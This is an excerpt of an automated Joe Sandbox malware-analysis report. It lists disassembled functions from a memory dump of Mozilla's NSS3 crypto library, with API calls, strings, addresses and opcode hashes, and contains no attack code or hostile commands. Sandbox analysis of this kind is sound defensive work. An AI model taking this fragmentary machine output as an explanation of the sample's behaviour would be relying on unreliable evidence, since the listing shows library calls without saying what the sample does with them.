PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C870148,,defaultModDB,internalKeySlot), ref: 6C7374CC
free.MOZGLUE(00000000), ref: 6C737513
free.MOZGLUE(00000000), ref: 6C73751B
free.MOZGLUE(00000000), ref: 6C737528
free.MOZGLUE(00000000), ref: 6C73753C
free.MOZGLUE(00000000), ref: 6C737550
free.MOZGLUE(00000000), ref: 6C737561
free.MOZGLUE(00000000), ref: 6C737572
free.MOZGLUE(00000000), ref: 6C737583
free.MOZGLUE(00000000), ref: 6C737594
free.MOZGLUE(00000000), ref: 6C7375A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C7375BD
free.MOZGLUE(00000000), ref: 6C7375C8
free.MOZGLUE(00000000), ref: 6C7375F1
PR_NewLock.NSS3 ref: 6C737636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C737686
PR_NewLock.NSS3 ref: 6C7376A2

Part of subcall function 6C7E98D0: calloc.MOZGLUE(00000001,00000084,6C710936,00000001,?,6C71102C), ref: 6C7E98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C7376B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C737707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C73771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C737731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C73774A
DeleteCriticalSection.KERNEL32(?), ref: 6C737770
free.MOZGLUE(?), ref: 6C737779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C73779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7377AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C7377C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C7377DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C737821
PORT_Alloc_Util.NSS3(?), ref: 6C737837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C73785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C73786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C7378AC
free.MOZGLUE(00000000), ref: 6C7378BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C7378F3
free.MOZGLUE(00000000), ref: 6C7378FC
free.MOZGLUE(00000000), ref: 6C73791C

Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107AD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107CD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107D6
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6A204A), ref: 6C7107E4
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,6C6A204A), ref: 6C710864
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C710880
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,6C6A204A), ref: 6C7108CB
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108D7
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108FB

Strings

NSS Internal Module, xrefs: 6C7374A2, 6C7374C6
extern:, xrefs: 6C73772B
dbm:, xrefs: 6C737716
Spac, xrefs: 6C737389
dll, xrefs: 6C73788E
sql:, xrefs: 6C7376FE
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C7374C7
rdb:, xrefs: 6C737744
,defaultModDB,internalKeySlot, xrefs: 6C73748D, 6C7374AA
kbi., xrefs: 6C737886

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 5da949e2ecd92feab016e8bf1f8af28e3646b5a4c4a6952f7713f74f8ddda07f
Instruction ID: 18ef2016bfd5843ac3d83b627a27ea404c94e312ba93d95e60dbfb9e33cfdfde
Opcode Fuzzy Hash: 5da949e2ecd92feab016e8bf1f8af28e3646b5a4c4a6952f7713f74f8ddda07f
Instruction Fuzzy Hash: B652D2B1E01225DBEF218F68CF0979A7AB4AF0630CF145438ED09A7A52E771D954CBE1

Function 6C72CA70 Relevance: 84.8, APIs: 56, Instructions: 849threadtimememoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C72CB45
PORT_ZAlloc_Util.NSS3(00000040), ref: 6C72CB5B
CERT_GetConstrainedCertificateNames.NSS3(?,00000010,?), ref: 6C72CBEB
realloc.MOZGLUE(?,00000000), ref: 6C72CC3B
PR_SetError.NSS3(FFFFE029,00000000), ref: 6C72CD25
PR_GetCurrentThread.NSS3 ref: 6C72CD35
CERT_FindCertIssuer.NSS3(?,00000001,?,00000001), ref: 6C72CD74
CERT_CheckCertValidTimes.NSS3(?,00000001,?,00000000), ref: 6C72CD9D
PR_GetCurrentThread.NSS3 ref: 6C72CDBA
PR_SetError.NSS3(FFFFE01E,00000000), ref: 6C72CDD2
PR_GetCurrentThread.NSS3 ref: 6C72CDE9
PR_SetError.NSS3(FFFFE024,00000000), ref: 6C72CE7C
PR_GetCurrentThread.NSS3 ref: 6C72CE93
PR_SetError.NSS3(FFFFE025,00000000), ref: 6C72CEC1
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C72CF8F
memcmp.VCRUNTIME140(?,6C8496B4,00000048), ref: 6C72CFC8
PR_GetCurrentThread.NSS3 ref: 6C72D071
CERT_GetCertTrust.NSS3(?,?), ref: 6C72D091
PR_SetError.NSS3(FFFFE024,00000000), ref: 6C72D0C6
PR_GetCurrentThread.NSS3 ref: 6C72D0DD
PR_SetError.NSS3(FFFFE05A,00000000), ref: 6C72D116
PR_GetCurrentThread.NSS3 ref: 6C72D131
PR_SetError.NSS3(FFFFE014,00000000), ref: 6C72D1D9
PR_SetError.NSS3(FFFFE014,00000000), ref: 6C72D225
CERT_DestroyCertificate.NSS3(?), ref: 6C72D410
PR_SetError.NSS3(FFFFE0B6,00000000), ref: 6C72D44E
PR_GetCurrentThread.NSS3 ref: 6C72D45E
PR_GetCurrentThread.NSS3 ref: 6C72D1EC

Part of subcall function 6C72C9A0: PORT_ArenaAlloc_Util.NSS3(00000000,00000018,?,00000001,00000000,?,6C72D864,?,00000000,?), ref: 6C72C9AE

PR_SetError.NSS3(FFFFE014,00000000), ref: 6C72D285
PR_GetCurrentThread.NSS3 ref: 6C72D298
PR_SetError.NSS3(FFFFE014,00000000), ref: 6C72D2D7
PR_SetError.NSS3(FFFFE014,00000000), ref: 6C72D330
PR_GetCurrentThread.NSS3 ref: 6C72D34C
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C72D392
CERT_DestroyCertificate.NSS3(?), ref: 6C72D3BC
PR_SetError.NSS3(FFFFE00D,00000000), ref: 6C72D3DF
PR_GetCurrentThread.NSS3 ref: 6C72D3EE
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C72CE12

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

PR_GetCurrentThread.NSS3 ref: 6C72CE22
PR_GetCurrentThread.NSS3 ref: 6C72CED8
memcmp.VCRUNTIME140(?,6C8496FC,00000048), ref: 6C72CFDC
CERT_GetCertTimes.NSS3(?,?,?), ref: 6C72CFF6
PR_GetCurrentThread.NSS3 ref: 6C72CDFD

Part of subcall function 6C7E9BF0: TlsGetValue.KERNEL32(?,?,?,6C830A75), ref: 6C7E9C07

PR_GetCurrentThread.NSS3 ref: 6C72CE52
PR_SetError.NSS3(FFFFE014,00000000), ref: 6C72D4C4
PR_SetError.NSS3(FFFFE014,00000000), ref: 6C72D4E2
PR_GetCurrentThread.NSS3 ref: 6C72D4EA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C72D515
PR_SetError.NSS3(FFFFE014,00000000), ref: 6C72D52C
PR_GetCurrentThread.NSS3 ref: 6C72D540
free.MOZGLUE(?), ref: 6C72D567
CERT_DestroyCertificate.NSS3(00000000), ref: 6C72D575
CERT_DestroyCertificate.NSS3(?), ref: 6C72D584
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C72D592

Part of subcall function 6C7406A0: TlsGetValue.KERNEL32 ref: 6C7406C2
Part of subcall function 6C7406A0: EnterCriticalSection.KERNEL32(?), ref: 6C7406D6
Part of subcall function 6C7406A0: PR_Unlock.NSS3 ref: 6C7406EB

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CurrentErrorThread$CertificateDestroyUtil$Cert$Value$Alloc_Arena_Timesmemcmp$ArenaCheckConstrainedCriticalEnterEqual_FindFreeIssuerItemsNamesPublicSectionTrustUnlockValidfreerealloc
String ID:
API String ID: 3754541784-0
Opcode ID: 2b4dd7bf981a41aab46b4887df8e03f948e2adf3a1bf9a97c603528bcd002ade
Instruction ID: d88fb96704699fc9dcccb6ea072a6a7ed65e1e57276ce1d7a5f3c35f463da32c
Opcode Fuzzy Hash: 2b4dd7bf981a41aab46b4887df8e03f948e2adf3a1bf9a97c603528bcd002ade
Instruction Fuzzy Hash: 75523472A083019BEB109F65CE44B5BB7E5BFA4318F14853CF85587B61E739E809CB92

Function 6C7709B0 Relevance: 66.8, APIs: 44, Instructions: 817memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6C771AD3), ref: 6C7709D5
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6C771AD3), ref: 6C7709E9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C770A18
PR_SetError.NSS3(00000000,00000000), ref: 6C770A30
memcpy.VCRUNTIME140(?,00000000,00000020,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C770CC9
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C770D05
EnterCriticalSection.KERNEL32(?), ref: 6C770D19
PR_Unlock.NSS3(?), ref: 6C770D36
free.MOZGLUE(?), ref: 6C770D75
TlsGetValue.KERNEL32 ref: 6C770DA1
EnterCriticalSection.KERNEL32(?), ref: 6C770DB5
PR_Unlock.NSS3(?), ref: 6C770DEB
PORT_Alloc_Util.NSS3(?), ref: 6C770DFF
PR_Unlock.NSS3(?), ref: 6C770E37
free.MOZGLUE(?), ref: 6C770E4E
PR_SetError.NSS3(00000000,00000000), ref: 6C770E6A
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C770E9A
TlsGetValue.KERNEL32 ref: 6C770F23
EnterCriticalSection.KERNEL32(?), ref: 6C770F37
PR_SetError.NSS3(00000000,00000000), ref: 6C770FC7

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

PR_Unlock.NSS3(?), ref: 6C770FDE
TlsGetValue.KERNEL32 ref: 6C770FFA
EnterCriticalSection.KERNEL32(?), ref: 6C77100E
PR_Unlock.NSS3(?), ref: 6C771050
PR_Unlock.NSS3(?), ref: 6C771073
TlsGetValue.KERNEL32 ref: 6C771087
EnterCriticalSection.KERNEL32(?), ref: 6C77109B
PR_Unlock.NSS3(?), ref: 6C7710B8
free.MOZGLUE(?), ref: 6C771113
PORT_Alloc_Util.NSS3(?), ref: 6C771151
free.MOZGLUE(?), ref: 6C7711AB
TlsGetValue.KERNEL32 ref: 6C771296
EnterCriticalSection.KERNEL32(?), ref: 6C7712AB
PR_Unlock.NSS3(?), ref: 6C7712D9
TlsGetValue.KERNEL32 ref: 6C7712F4
EnterCriticalSection.KERNEL32(?), ref: 6C77130C
PR_Unlock.NSS3(?), ref: 6C771340
TlsGetValue.KERNEL32 ref: 6C771354
EnterCriticalSection.KERNEL32(?), ref: 6C77136C
PR_Unlock.NSS3(?), ref: 6C7713A3
TlsGetValue.KERNEL32 ref: 6C7713BA
EnterCriticalSection.KERNEL32(?), ref: 6C7713CF
PR_Unlock.NSS3(?), ref: 6C7713FB

Part of subcall function 6C7CDD70: TlsGetValue.KERNEL32 ref: 6C7CDD8C
Part of subcall function 6C7CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDDB4

PR_SetError.NSS3(FFFFE040,00000000), ref: 6C77141E

Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107AD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107CD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107D6
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6A204A), ref: 6C7107E4
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,6C6A204A), ref: 6C710864
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C710880
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,6C6A204A), ref: 6C7108CB
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108D7
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108FB

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalSection$Enter$Errorfree$Alloc_Utilcalloc$Leavememcpymemset
String ID:
API String ID: 3136013483-0
Opcode ID: b3ca989db9bc86363211ef06d7155ba24707f7519cdcc9071fbe8671fab3a195
Instruction ID: 38d9ba8d2713a201a5cf64ed094a6c19787f471fc7b4a0d14c251890fe3be777
Opcode Fuzzy Hash: b3ca989db9bc86363211ef06d7155ba24707f7519cdcc9071fbe8671fab3a195
Instruction Fuzzy Hash: E172D072D002589FEF219F24C9887DA7BB4BF05318F1901B9DC099BB52E735A895CBE1

Function 6C784840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351memorystringCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6C76601B,?,00000000,?), ref: 6C78486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6C7848A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6C7848BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6C7848DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6C7848F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6C78490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6C784919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6C78493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C784970
PORT_Alloc_Util.NSS3(00000001), ref: 6C7849A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C7849AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7849D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6C7849F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6C784A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6C784A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6C784A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6C784A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6C784A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6C784A81
free.MOZGLUE(00000000), ref: 6C784AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C784ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6C784ADC
free.MOZGLUE(00000000), ref: 6C784B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C784B33

Part of subcall function 6C784120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C78413D
Part of subcall function 6C784120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C784162
Part of subcall function 6C784120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C78416B
Part of subcall function 6C784120: PL_strncasecmp.NSS3(2Bxl,?,00000001), ref: 6C784187
Part of subcall function 6C784120: NSSUTIL_ArgSkipParameter.NSS3(2Bxl), ref: 6C7841A0
Part of subcall function 6C784120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7841B4
Part of subcall function 6C784120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6C7841CC
Part of subcall function 6C784120: NSSUTIL_ArgFetchValue.NSS3(2Bxl,?), ref: 6C784203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6C784B53
free.MOZGLUE(00000000), ref: 6C784B94
free.MOZGLUE(?), ref: 6C784BA7
free.MOZGLUE(00000000), ref: 6C784BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C784BC8

Strings

timeout, xrefs: 6C784A38, 6C784A7B
every, xrefs: 6C784A66
hasRootTrust, xrefs: 6C784B4D
hasRootCerts, xrefs: 6C784AD6
rootFlags, xrefs: 6C784AB9, 6C784B2E
slotFlags, xrefs: 6C784A22
askpw, xrefs: 6C784A4A

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: 3ed70883b3538592412aa25b7f768c6e8f0ea67cd46ec81306f0c1e934bd325f
Instruction ID: a0304a9a3902f86db6c0d51608b5aa4b687dae3f5e4d55faf1337fb52f2bad14
Opcode Fuzzy Hash: 3ed70883b3538592412aa25b7f768c6e8f0ea67cd46ec81306f0c1e934bd325f
Instruction Fuzzy Hash: A7C139B1E022559FEB11CF689E687AE7FBCAF0520CF140035EE55A7701F3A19914D7A1

Function 6C746D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C84A8EC,0000006C), ref: 6C746DC6
memcpy.VCRUNTIME140(?,6C84A958,0000006C), ref: 6C746DDB
memcpy.VCRUNTIME140(?,6C84A9C4,00000078), ref: 6C746DF1
memcpy.VCRUNTIME140(?,6C84AA3C,0000006C), ref: 6C746E06
memcpy.VCRUNTIME140(?,6C84AAA8,00000060), ref: 6C746E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C746E38

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C746E76
TlsGetValue.KERNEL32 ref: 6C74726F
EnterCriticalSection.KERNEL32(?), ref: 6C747283

Strings

!, xrefs: 6C747123

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: c33703f886d63370974739e3e0117dd9ab406f769ce6792d2f968d792d8bb160
Instruction ID: 616deb0c5e25e227d34362dc4ff549a3ee1269d8d1f163a3cdee655244387593
Opcode Fuzzy Hash: c33703f886d63370974739e3e0117dd9ab406f769ce6792d2f968d792d8bb160
Instruction Fuzzy Hash: 66728E75D052299FDF60DF28CD88B9ABBB5BF49308F1481A9D80DA7701E7319A84CF91

Function 6C768A30 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 393memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C768A58

Part of subcall function 6C780FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7287ED,00000800,6C71EF74,00000000), ref: 6C781000
Part of subcall function 6C780FF0: PR_NewLock.NSS3(?,00000800,6C71EF74,00000000), ref: 6C781016
Part of subcall function 6C780FF0: PL_InitArenaPool.NSS3(00000000,security,6C7287ED,00000008,?,00000800,6C71EF74,00000000), ref: 6C78102B

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C768AC6
PORT_ArenaAlloc_Util.NSS3(00000000,00000044), ref: 6C768ADF
SECITEM_CopyItem_Util.NSS3(00000000,00000004,?), ref: 6C768B19
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C768B2D
PK11_GenerateRandom.NSS3(00000000,00000010), ref: 6C768B49
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000010,00000000), ref: 6C768B61
SEC_ASN1EncodeInteger_Util.NSS3(00000000,0000001C), ref: 6C768B83
SECOID_SetAlgorithmID_Util.NSS3(00000000,-0000002C,?,00000000), ref: 6C768BA0
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C768BF0
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C768BF9
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C768C13
HASH_ResultLenByOidTag.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C768C3A
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C768CA7
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C768CC4
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C768D12
PORT_FreeArena_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C768D20
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C768D40
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C768D99
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C768DBF
PORT_ArenaAlloc_Util.NSS3(00000123,00000018), ref: 6C768DD5
SEC_ASN1EncodeItem_Util.NSS3(?,?,00000000,6C84D864), ref: 6C768E39

Part of subcall function 6C77F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C77F0C8
Part of subcall function 6C77F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C77F122

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,?), ref: 6C768E5B

Part of subcall function 6C77BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C72E708,00000000,00000000,00000004,00000000), ref: 6C77BE6A
Part of subcall function 6C77BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7304DC,?), ref: 6C77BE7E
Part of subcall function 6C77BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C77BEC2

SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C84D8C4), ref: 6C768E94
SECOID_SetAlgorithmID_Util.NSS3(?,00000000,00000000,?), ref: 6C768EAC
PORT_ZAlloc_Util.NSS3(00000018), ref: 6C768EBA
SECOID_CopyAlgorithmID_Util.NSS3(00000000,00000000,00000000), ref: 6C768ECC
SECITEM_ZfreeItem_Util.NSS3(-0000000C,00000000), ref: 6C768EE1
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C768EF4
free.MOZGLUE(00000000), ref: 6C768EFD
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C768F11
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C768F1C

Strings

tFVPj, xrefs: 6C768EC4

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

